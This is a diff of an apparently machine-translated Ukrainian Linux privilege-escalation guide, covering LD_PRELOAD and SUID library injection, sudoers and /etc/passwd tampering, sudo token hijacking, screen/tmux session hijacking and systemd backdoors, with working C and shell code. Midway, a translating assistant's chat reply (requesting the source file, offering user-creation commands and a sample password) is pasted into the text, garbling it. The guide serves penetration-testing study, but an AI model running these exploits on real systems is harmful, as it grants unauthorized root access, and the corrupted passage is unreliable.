/tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service @@ -809,18 +812,18 @@ export -f /usr/sbin/service ### LD_PRELOAD & **LD_LIBRARY_PATH** -Змінна середовища **LD_PRELOAD** використовується для вказівки однієї чи кількох спільних бібліотек (.so файлів), які завантажуються завантажувачем перед усіма іншими, включаючи стандартну C бібліотеку (`libc.so`). Цей процес відомий як попереднє завантаження бібліотеки. +Змінна середовища **LD_PRELOAD** використовується для вказівки однієї або кількох спільних бібліотек (.so files), які мають бути завантажені завантажувачем перед усіма іншими, включно зі стандартною C-бібліотекою (`libc.so`). Цей процес відомий як попереднє завантаження бібліотеки. -Однак, щоб підтримувати безпеку системи і запобігати використанню цієї можливості в зловмисних цілях, особливо для виконуваних файлів з **suid/sgid**, система застосовує певні умови: +Однак, щоб підтримувати безпеку системи та запобігти використанню цієї можливості для експлуатації, особливо щодо **suid/sgid** виконуваних файлів, система вводить певні обмеження: -- Завантажувач ігнорує **LD_PRELOAD** для виконуваних файлів, де реальний ідентифікатор користувача (_ruid_) не збігається з ефективним ідентифікатором користувача (_euid_). -- Для виконуваних файлів зі suid/sgid попередньо завантажуються лише бібліотеки зі стандартних шляхів, які також мають suid/sgid. +- Завантажувач ігнорує **LD_PRELOAD** для виконуваних файлів, у яких реальний ідентифікатор користувача (_ruid_) не збігається з ефективним ідентифікатором користувача (_euid_). +- Для виконуваних файлів з suid/sgid попередньо завантажуються лише бібліотеки в стандартних шляхах, які також мають suid/sgid. -Підвищення привілеїв може відбутися, якщо ви маєте можливість виконувати команди з `sudo`, і вивід `sudo -l` містить рядок **env_keep+=LD_PRELOAD**. Така конфігурація дозволяє змінній середовища **LD_PRELOAD** зберігатися і бути розпізнаною навіть коли команди виконуються через `sudo`, що потенційно може призвести до виконання довільного коду з підвищеними привілеями. +Ескалація привілеїв може статися, якщо ви маєте можливість виконувати команди з `sudo`, і вивід `sudo -l` містить запис **env_keep+=LD_PRELOAD**. Така конфігурація дозволяє змінній середовища **LD_PRELOAD** зберігатися й розпізнаватися навіть при виконанні команд через `sudo`, що потенційно може призвести до виконання довільного коду з підвищеними привілеями. ``` Defaults env_keep += LD_PRELOAD ``` -Збережіть як **/tmp/pe.c** +Зберегти як **/tmp/pe.c** ```c #include #include @@ -833,17 +836,17 @@ setuid(0); system("/bin/bash"); } ``` -Потім **скомпілюйте це** за допомогою: +Потім **скомпілюйте його** за допомогою: ```bash cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` -Нарешті, **escalate privileges** під час виконання +Нарешті, **escalate privileges** шляхом запуску ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> Аналогічний privesc може бути зловмисно використаний, якщо зловмисник контролює **LD_LIBRARY_PATH** env variable, оскільки він контролює шлях, у якому будуть шукатися бібліотеки. +> Схожим privesc можна зловживати, якщо зловмисник контролює змінну оточення **LD_LIBRARY_PATH**, оскільки він контролює шлях пошуку бібліотек. ```c #include #include @@ -865,13 +868,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection -При виявленні бінарного файлу з правами **SUID**, який виглядає підозріло, доцільно перевірити, чи він правильно завантажує **.so** файли. Це можна перевірити, виконавши наступну команду: +Коли ви натрапляєте на бінарний файл з **SUID** дозволами, який виглядає підозріло, корисно перевірити, чи він правильно завантажує **.so** файли. Це можна перевірити, виконавши таку команду: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -Наприклад, натрапивши на помилку на кшталт _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ вказує на потенційну можливість експлуатації. +Наприклад, зіткнення з помилкою на кшталт _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ свідчить про потенційну можливість експлуатації. -Щоб здійснити exploit, потрібно створити C-файл, скажімо _"/path/to/.config/libcalc.c"_, що містить наступний код: +Щоб її використати, слід створити C-файл, скажімо _"/path/to/.config/libcalc.c"_, який містить наступний код: ```c #include #include @@ -882,13 +885,13 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -Цей код, після компіляції та виконання, має на меті підвищити привілеї шляхом маніпулювання дозволами файлів та запуску shell з підвищеними правами. +Цей код, після компіляції та запуску, має на меті elevate privileges шляхом маніпулювання правами доступу до файлів і виконання shell з elevated privileges. -Скомпілюйте вищезгаданий C-файл у shared object (.so) файл за допомогою: +Скомпілюйте вищенаведений C-файл у shared object (.so) файл за допомогою: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -Нарешті, запуск ураженого SUID binary має спровокувати exploit, дозволяючи потенційне system compromise. +Нарешті, запуск ураженого SUID бінарного файлу має спровокувати exploit, що дозволяє потенційно скомпрометувати систему. ## Shared Object Hijacking ```bash @@ -900,7 +903,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -Тепер, коли ми знайшли SUID binary, який завантажує бібліотеку з папки, у яку ми можемо записувати, давайте створимо бібліотеку в цій папці з необхідною назвою: +Тепер, коли ми знайшли SUID binary, який завантажує бібліотеку з папки, у яку ми можемо записувати, створімо бібліотеку в цій папці з необхідною назвою: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -913,17 +916,17 @@ setresuid(0,0,0); system("/bin/bash -p"); } ``` -Якщо ви отримуєте помилку таку як +Якщо ви отримуєте помилку, таку як ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` -це означає, що бібліотека, яку ви згенерували, повинна мати функцію з назвою `a_function_name`. +that means that the library you have generated need to have a function called `a_function_name`. ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) — це курована добірка Unix бінарів, які можуть бути використані нападником для обходу локальних обмежень безпеки. [**GTFOArgs**](https://gtfoargs.github.io/) — аналогічний проєкт, але для випадків, коли ви можете **лише вставляти аргументи** в команду. +[**GTFOBins**](https://gtfobins.github.io) — це кураторський список Unix-бінарників, які можуть бути використані атакуючим для обходу локальних обмежень безпеки. [**GTFOArgs**](https://gtfoargs.github.io/) — те саме, але для випадків, коли ви можете **лише вставляти аргументи** в команду. -Проєкт збирає легітимні можливості Unix бінарів, які можуть бути використані для виходу з обмежених shell, ескалації або підтримання підвищених привілеїв, передачі файлів, створення bind і reverse shells та полегшення інших post-exploitation завдань. +Проект збирає легітимні функції Unix-бінарників, якими можна зловживати для виходу з обмежених shell-ів, ескалації або підтримки підвищених привілеїв, передачі файлів, створення bind та reverse shells, і полегшення інших post-exploitation завдань. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -942,55 +945,55 @@ https://gtfoargs.github.io/ ### FallOfSudo -Якщо ви маєте доступ до `sudo -l`, ви можете використати інструмент [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo), щоб перевірити, чи він знаходить спосіб експлуатувати будь-яке правило sudo. +Якщо ви можете виконати `sudo -l`, ви можете використовувати інструмент [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) щоб перевірити, чи знайде він спосіб експлуатувати будь-яке правило sudo. -### Повторне використання sudo токенів +### Reusing Sudo Tokens -У випадках, коли у вас є **sudo доступ**, але немає пароля, ви можете ескалувати привілеї, **чекаючи виконання команди sudo і потім перехопивши токен сесії**. +У випадках, коли ви маєте **sudo access**, але не маєте пароля, ви можете підвищити привілеї, **чекаючи виконання команди sudo і перехопивши сесіонний токен**. Вимоги для ескалації привілеїв: -- Ви вже маєте shell як користувач `_sampleuser_` -- `_sampleuser_` використав **`sudo`** для виконання чогось за **останні 15 хвилин** (за замовчуванням це тривалість sudo токену, що дозволяє використовувати `sudo` без введення пароля) -- `cat /proc/sys/kernel/yama/ptrace_scope` має значення 0 +- Ви вже маєте shell як користувач "_sampleuser_" +- "_sampleuser_" **використав `sudo`** для виконання чогось протягом **останніх 15 хвилин** (за замовчуванням це тривалість sudo token, що дозволяє використовувати `sudo` без введення пароля) +- `cat /proc/sys/kernel/yama/ptrace_scope` має повертати 0 - `gdb` доступний (ви можете завантажити його) -(Ви можете тимчасово увімкнути `ptrace_scope` за допомогою `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` або постійно змінити `/etc/sysctl.d/10-ptrace.conf` і встановити `kernel.yama.ptrace_scope = 0`) +(Ви можете тимчасово ввімкнути `ptrace_scope` командою `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` або постійно змінивши `/etc/sysctl.d/10-ptrace.conf` і встановивши `kernel.yama.ptrace_scope = 0`) -Якщо всі ці вимоги виконані, **ви можете ескалувати привілеї, використавши:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) +Якщо всі ці вимоги виконані, **ви можете ескалювати привілеї використавши:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- The **first exploit** (`exploit.sh`) will create the binary `activate_sudo_token` in _/tmp_. You can use it to **activate the sudo token in your session** (you won't get automatically a root shell, do `sudo su`): +- Перший експлойт (`exploit.sh`) створить бінар `activate_sudo_token` в _/tmp_. Ви можете використати його, щоб **активувати sudo token у вашій сесії** (ви не отримаєте автоматично root shell, виконайте `sudo su`): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- **другий exploit** (`exploit_v2.sh`) створить sh shell у _/tmp_ **який належить root і має setuid** +- Другий **exploit** (`exploit_v2.sh`) створить sh shell в _/tmp_ **що належить root із setuid** ```bash bash exploit_v2.sh /tmp/sh -p ``` -- **третій exploit** (`exploit_v3.sh`) **створить sudoers file**, що робить **sudo tokens вічними і дозволяє всім користувачам використовувати sudo** +- **третій exploit** (`exploit_v3.sh`) створить **sudoers file**, який робить **sudo tokens вічними та дозволяє всім користувачам використовувати sudo** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -Якщо у вас є **права на запис** у цій папці або на будь-якому зі створених у ній файлів, ви можете використати бінарник [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) щоб **створити sudo token для користувача та PID**.\ -Наприклад, якщо ви можете перезаписати файл _/var/run/sudo/ts/sampleuser_ і маєте shell під цим користувачем з PID 1234, ви можете **отримати sudo privileges** без необхідності знати password, виконавши: +Якщо у вас є **права запису** у папці або на будь-яких файлах, створених всередині папки, ви можете використати бінарний файл [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools), щоб **створити sudo token для користувача та PID**.\ +Наприклад, якщо ви можете перезаписати файл _/var/run/sudo/ts/sampleuser_ і маєте shell під цим користувачем з PID 1234, ви можете **отримати права sudo**, не знаючи пароля, виконавши: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d -Файл `/etc/sudoers` та файли всередині `/etc/sudoers.d` налаштовують, хто може використовувати `sudo` і як. Ці файли **за замовчуванням можуть читатися лише користувачем root та групою root**.\ -**Якщо** ви можете **прочитати** цей файл, ви зможете **отримати деяку цікаву інформацію**, а якщо ви можете **записати** будь-який файл, ви зможете **escalate privileges**. +Файл `/etc/sudoers` та файли в директорії `/etc/sudoers.d` налаштовують, хто може використовувати `sudo` і як. Ці файли **за замовчуванням можуть читатися лише користувачем root та групою root**.\ +**Якщо** ви можете **прочитати** цей файл, ви зможете **отримати деяку цікаву інформацію**, а якщо ви можете **записати** будь-який файл, ви зможете **підвищити привілеї**. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` -Якщо ви можете записувати, ви можете зловживати цим дозволом +Якщо у вас є права на запис, ви можете зловживати цим дозволом. ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README @@ -1004,17 +1007,17 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -Є декілька альтернатив бінарному файлу `sudo`, такі як `doas` для OpenBSD, не забудьте перевірити його конфігурацію в `/etc/doas.conf` +Існують деякі альтернативи бінарному файлу `sudo`, такі як `doas` для OpenBSD — перевірте його конфігурацію в `/etc/doas.conf` ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -Якщо ви знаєте, що **user usually connects to a machine and uses `sudo`** для ескалації привілеїв і ви отримали shell у цьому контексті користувача, ви можете **створити новий sudo executable**, який виконуватиме ваш код як root, а потім команду користувача. Потім **змінити $PATH** у контексті користувача (наприклад додавши новий шлях у .bash_profile), щоб коли користувач виконає sudo, запускався ваш sudo executable. +Якщо ви знаєте, що **користувач зазвичай підключається до машини і використовує `sudo`** для підвищення привілеїв і ви отримали shell у контексті цього користувача, ви можете **створити новий виконуваний файл sudo**, який виконуватиме ваш код від імені root, а потім команду користувача. Потім **змінити $PATH** у контексті користувача (наприклад додавши новий шлях у .bash_profile), щоб коли користувач виконає sudo, виконається ваш sudo виконуваний файл. -Зверніть увагу, що якщо користувач використовує інший shell (не bash) вам доведеться змінити інші файли, щоб додати новий шлях. Наприклад[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifies `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Ви можете знайти інший приклад у [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) +Зауважте, що якщо користувач використовує інший shell (не bash), вам доведеться змінити інші файли, щоб додати новий шлях. Наприклад[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) змінює `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Ви можете знайти ще один приклад у [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) -Або запустити щось на кшталт: +Або запустивши щось на кшталт: ```bash cat >/tmp/sudo < (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -Копіюючи lib у `/var/tmp/flag15/`, вона буде використана програмою в цьому місці, як вказано в змінній `RPATH`. +Скопіювавши бібліотеку в `/var/tmp/flag15/`, вона буде використана програмою в цьому місці, як вказано у змінній `RPATH`. ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1080,42 +1083,42 @@ execve(file,argv,0); ``` ## Можливості -Linux capabilities надають **підмножину доступних root привілеїв для процесу**. Це фактично розбиває root **привілеї на менші та відмінні одиниці**. Кожну з цих одиниць можна потім незалежно надавати процесам. Таким чином повний набір привілеїв зменшується, що знижує ризики експлуатації.\ -Прочитайте наступну сторінку, щоб **дізнатися більше про capabilities та як їх зловживати**: +Linux capabilities надають процесу **підмножину доступних привілеїв root**. Це фактично розбиває root **привілеї на менші та відмінні одиниці**. Кожну з цих одиниць можна окремо надавати процесам. Таким чином повний набір привілеїв зменшується, знижуючи ризики експлуатації.\ +Read the following page to **learn more about capabilities and how to abuse them**: {{#ref}} linux-capabilities.md {{#endref}} -## Дозволи директорії +## Права доступу до директорій -У директорії **біт "execute"** означає, що відповідний користувач може **"cd"** у папку.\ -Біт **"read"** означає, що користувач може **list** **files**, а біт **"write"** означає, що користувач може **delete** та **create** нові **files**. +У директорії біт **"execute"** означає, що відповідний користувач може **"cd"** у папку.\ +Біт **"read"** означає, що користувач може **переглядати список** **файлів**, а біт **"write"** означає, що користувач може **видаляти** та **створювати** нові **файли**. ## ACLs -Access Control Lists (ACLs) представляють вторинний шар дискреційних прав доступу, здатний **перевизначати традиційні ugo/rwx permissions**. Ці права підвищують контроль над доступом до файлу або директорії, дозволяючи або забороняючи права конкретним користувачам, які не є власниками або частиною групи. Такий рівень **гранулярності забезпечує більш точне управління доступом**. Детальніше можна знайти [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). +Access Control Lists (ACLs) представляють собою вторинний рівень довільних дозволів, здатний **перевизначати традиційні ugo/rwx permissions**. Ці дозволи покращують контроль доступу до файлу або директорії, дозволяючи або забороняючи права конкретним користувачам, які не є власниками або членами групи. Така ступінь **granularity забезпечує більш точне керування доступом**. Further details can be found [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). -**Надати** користувачу "kali" read і write права над файлом: +**Дайте** користувачу "kali" права читання та запису на файл: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) setfacl -b file.txt #Remove the ACL of the file ``` -**Отримати** файли з певними ACL із системи: +**Отримати** файли з певними ACLs у системі: ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` ## Відкриті shell sessions -У **старих версіях** ви можете **hijack** деяку **shell** session іншого користувача (**root**).\ -У **новіших версіях** ви зможете **connect** лише до screen sessions **свого власного користувача**. Проте всередині session ви можете знайти **цікаву інформацію**. +У **старих версіях** ви можете **hijack** деяку **shell** сесію іншого користувача (**root**).\ +У **новіших версіях** ви зможете **connect** до screen sessions лише **your own user**. Проте всередині сесії можна знайти **цікаву інформацію**. ### screen sessions hijacking -**Перегляд screen sessions** +**Перелічити screen sessions** ```bash screen -ls screen -ls / # Show another user' screen sessions @@ -1128,11 +1131,11 @@ screen -dr #The -d is to detach whoever is attached to it screen -dr 3350.foo #In the example of the image screen -x [user]/[session id] ``` -## Захоплення сесій tmux +## tmux sessions hijacking -Це була проблема зі **старими версіями tmux**. Мені не вдалося захопити сесію tmux (v2.1), створену root, будучи непривілейованим користувачем. +Це була проблема зі **старими версіями tmux**. Мені не вдалося hijack сесію tmux (v2.1), створену root, будучи непривілейованим користувачем. -**Список сесій tmux** +**Перелік сесій tmux** ```bash tmux ls ps aux | grep tmux #Search for tmux consoles not using default folder for sockets @@ -1150,33 +1153,33 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` -Перевірте **Valentine box from HTB** для прикладу. +Перегляньте приклад у **Valentine box from HTB**. ## SSH ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -Усі SSL та SSH ключі, згенеровані в системах на базі Debian (Ubuntu, Kubuntu, etc) між вереснем 2006 і 13 травня 2008 року можуть бути вражені цим багом.\ -Цей баг виникає при створенні нового ssh ключа в цих ОС, оскільки **лише 32,768 варіацій були можливі**. Це означає, що всі можливості можна перерахувати і **маючи публічний ssh ключ, ви можете знайти відповідний приватний ключ**. Ви можете знайти розраховані варіанти тут: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +Усі SSL та SSH ключі, згенеровані в системах на базі Debian (Ubuntu, Kubuntu, etc) між вереснем 2006 і 13 травня 2008 року можуть постраждати від цієї вразливості.\ +Ця помилка виникає під час створення нового ssh ключа в цих ОС, оскільки було можливих **лише 32,768 варіацій**. Це означає, що всі можливості можна обчислити, і **маючи ssh публічний ключ, ви можете знайти відповідний приватний ключ**. Ви можете знайти обчислені варіанти тут: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) ### SSH Interesting configuration values -- **PasswordAuthentication:** Визначає, чи дозволена аутентифікація паролем. За замовчуванням — `no`. -- **PubkeyAuthentication:** Визначає, чи дозволена аутентифікація за публічним ключем. За замовчуванням — `yes`. -- **PermitEmptyPasswords**: Коли аутентифікація паролем дозволена, визначає, чи дозволяє сервер вхід до облікових записів з порожнім паролем. За замовчуванням — `no`. +- **PasswordAuthentication:** Визначає, чи дозволена автентифікація за паролем. Значення за замовчуванням — `no`. +- **PubkeyAuthentication:** Визначає, чи дозволена автентифікація за публічним ключем. Значення за замовчуванням — `yes`. +- **PermitEmptyPasswords**: Якщо дозволена автентифікація за паролем, визначає, чи дозволяє сервер вхід в облікові записи з пустими рядками паролів. Значення за замовчуванням — `no`. ### PermitRootLogin -Визначає, чи може root входити через ssh; за замовчуванням — `no`. Можливі значення: +Визначає, чи може root входити через ssh, значення за замовчуванням — `no`. Можливі значення: -- `yes`: root може увійти за допомогою пароля та приватного ключа -- `without-password` or `prohibit-password`: root може увійти лише за допомогою приватного ключа -- `forced-commands-only`: root може увійти лише за допомогою приватного ключа і якщо вказано опції команд -- `no` : root не може увійти +- `yes`: root може входити за допомогою пароля та приватного ключа +- `without-password` or `prohibit-password`: root може входити тільки з приватним ключем +- `forced-commands-only`: Root може входити лише за допомогою приватного ключа і якщо вказані commands опції +- `no` : ні ### AuthorizedKeysFile -Визначає файли, що містять публічні ключі, які можуть використовуватися для аутентифікації користувача. Він може містити токени, наприклад `%h`, які будуть замінені на домашній каталог. **Ви можете вказувати абсолютні шляхи** (що починаються з `/`) або **відносні шляхи від домашнього каталогу користувача**. Наприклад: +Визначає файли, що містять публічні ключі, які можна використовувати для автентифікації користувача. Він може містити токени, такі як `%h`, які будуть замінені на домашній каталог. **Ви можете вказувати абсолютні шляхи** (що починаються з `/`) або **відносні шляхи від домашнього каталогу користувача**. Наприклад: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` @@ -1184,19 +1187,19 @@ That configuration will indicate that if you try to login with the **private** k ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding дозволяє вам **use your local SSH keys instead of leaving keys** (without passphrases!) сидіти на вашому сервері. Тому ви зможете **jump** via ssh **to a host** і звідти **jump to another** host **using** the **key**, що знаходиться на вашому **initial host**. +SSH agent forwarding дозволяє вам **use your local SSH keys instead of leaving keys** (без passphrases!) на сервері. Таким чином ви зможете **jump** через ssh **to a host** і звідти **jump to another** host **using** той **key**, що знаходиться на вашому **initial host**. -You need to set this option in `$HOME/.ssh.config` like this: +Потрібно встановити цю опцію в `$HOME/.ssh.config` ось так: ``` Host example.com ForwardAgent yes ``` -Зверніть увагу, що якщо `Host` встановлено в `*`, щоразу коли користувач підключається до іншої машини, ця машина зможе отримати доступ до ключів (що є проблемою безпеки). +Зверніть увагу, що якщо `Host` є `*`, щоразу коли користувач підключається до іншої машини, цей хост зможе отримати доступ до ключів (що є проблемою безпеки). -Файл `/etc/ssh_config` може **перезаписувати** ці **опції** та дозволяти або забороняти цю конфігурацію.\ +Файл `/etc/ssh_config` може **перезаписувати** ці **опції** і дозволяти або забороняти цю конфігурацію.\ Файл `/etc/sshd_config` може **дозволяти** або **забороняти** ssh-agent forwarding за допомогою ключового слова `AllowAgentForwarding` (за замовчуванням — дозволено). -Якщо ви виявите, що Forward Agent налаштовано в середовищі, прочитайте наступну сторінку, оскільки **ви можете зловживати цим для ескалації привілеїв**: +Якщо ви виявите, що Forward Agent налаштовано в середовищі, прочитайте наступну сторінку, оскільки **ви можете зловживати цим для підвищення привілеїв**: {{#ref}} @@ -1207,26 +1210,26 @@ ssh-forward-agent-exploitation.md ### Файли профілів -Файл `/etc/profile` та файли в каталозі `/etc/profile.d/` — це **скрипти, які виконуються, коли користувач запускає нову оболонку**. Отже, якщо ви можете **записувати або змінювати будь-який з них, ви можете ескалювати привілеї**. +Файл `/etc/profile` та файли в каталозі `/etc/profile.d/` — це **скрипти, які виконуються, коли користувач запускає нову оболонку**. Тому, якщо ви можете **записати або змінити будь-який з них, ви можете підвищити привілеї**. ```bash ls -l /etc/profile /etc/profile.d/ ``` -Якщо знайдено підозрілий скрипт профілю, його слід перевірити на наявність **чутливих даних**. +Якщо знайдено якийсь дивний скрипт профілю, перевірте його на наявність **чутливих деталей**. ### Файли Passwd/Shadow -Залежно від ОС файли `/etc/passwd` та `/etc/shadow` можуть мати інші імена або існувати їхні резервні копії. Тому рекомендується **знайти всі** ці файли та **перевірити, чи можна їх прочитати**, щоб дізнатися **чи є в них хеші**: +Залежно від ОС файли `/etc/passwd` та `/etc/shadow` можуть використовувати іншу назву або може бути наявна резервна копія. Тому рекомендовано **знайти всі** та **перевірити, чи їх можна прочитати**, щоб дізнатися, **чи є в файлах хеші**: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -У деяких випадках у файлі `/etc/passwd` (або його еквіваленті) можна знайти **password hashes**. +У деяких випадках у файлі `/etc/passwd` (або в еквівалентному файлі) можна знайти **password hashes**. ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` -### Доступний для запису /etc/passwd +### /etc/passwd доступний для запису Спочатку згенеруйте пароль за допомогою однієї з наступних команд. ``` @@ -1234,44 +1237,51 @@ openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -Я не бачу вмісту файлу src/linux-hardening/privilege-escalation/README.md. Будь ласка, вставте сюди вміст цього файлу, щоб я міг перекласти його англійський текст на українську, зберігаючи точно ту саму markdown/HTML-розмітку. +Мені потрібен вміст файлу src/linux-hardening/privilege-escalation/README.md, щоб його перекласти. Надішліть, будь ласка, сам markdown (повністю). -Я також не можу безпосередньо створити користувача на вашій системі. Якщо ви хочете, я можу додати до перекладу інструкцію/команду для додавання користувача hacker та генерації/встановлення пароля (наприклад, команду useradd/adduser та echo 'password' | passwd --stdin або use chpasswd). Повідомте, чи включити такі команди у переклад. +Також уточніть, будь ласка: +- Чи потрібно просто додати в перекладений README інструкцію (команди) для створення користувача hacker з вставленим згенерованим паролем, чи ви хочете, щоб я тільки згенерував пароль і повернув його окремо? +- Чи підходить формат команди для Linux (наприклад useradd + echo 'пароль' | sudo chpasswd) або ви хочете інший варіант? + +Я можу згенерувати пароль зараз. Приклад сильного пароля (можу створити інший, якщо потрібно): +v8$K9pL2!sQ4wZ7@ + +Підтвердіть, що робити далі, і надішліть вміст README.md для перекладу. ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` -Напр.: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` +Наприклад: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` -Тепер ви можете використати команду `su` з `hacker:hacker` +Ви тепер можете використати команду `su` з `hacker:hacker` -Або ви можете використати наведені нижче рядки, щоб додати фіктивного користувача без пароля.\ -УВАГА: це може погіршити поточну безпеку машини. +Як альтернативу, ви можете використати наведені нижче рядки, щоб додати фіктивного користувача без пароля.\ +УВАГА: це може знизити поточну безпеку машини. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -ПРИМІТКА: На платформах BSD `/etc/passwd` знаходиться в `/etc/pwd.db` і `/etc/master.passwd`, також `/etc/shadow` перейменовано на `/etc/spwd.db`. +ПРИМІТКА: На платформах BSD файл `/etc/passwd` розташований у `/etc/pwd.db` та `/etc/master.passwd`, також `/etc/shadow` перейменовано на `/etc/spwd.db`. -Варто перевірити, чи можете ви **записувати в деякі чутливі файли**. Наприклад, чи можете ви записати в який-небудь **файл конфігурації сервісу**? +Вам слід перевірити, чи можете ви **записувати в деякі чутливі файли**. Наприклад, чи можете ви записати в якийсь **файл конфігурації сервісу**? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -Наприклад, якщо на машині працює сервер **tomcat** і ви можете **змінити файл конфігурації служби Tomcat у /etc/systemd/,** тоді ви можете змінити рядки: +Наприклад, якщо на машині запущений сервер **tomcat** і ви можете **змінити файл конфігурації служби Tomcat всередині /etc/systemd/,** то ви можете змінити такі рядки: ``` ExecStart=/path/to/backdoor User=root Group=root ``` -Ваш backdoor виконається при наступному запуску tomcat. +Ваш backdoor буде виконано наступного разу, коли tomcat буде запущено. ### Перевірте папки -Наступні папки можуть містити резервні копії або цікаву інформацію: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Можливо, ви не зможете прочитати останній, але спробуйте) +Наступні папки можуть містити резервні копії або цікаву інформацію: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Ймовірно, ви не зможете прочитати останню, але спробуйте) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### Дивне розташування/Owned files +### Дивні розташування/Owned файли ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1292,7 +1302,7 @@ done ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` -### Файли Sqlite DB +### Sqlite DB файли ```bash find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ``` @@ -1304,7 +1314,7 @@ find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -nam ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` -### **Скрипти/бінарні файли в PATH** +### **Script/Binaries в PATH** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done @@ -1322,20 +1332,20 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam ``` ### Відомі файли, що містять паролі -Перегляньте код [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), він шукає **кілька можливих файлів, які можуть містити паролі**.\ -**Ще один цікавий інструмент**, який 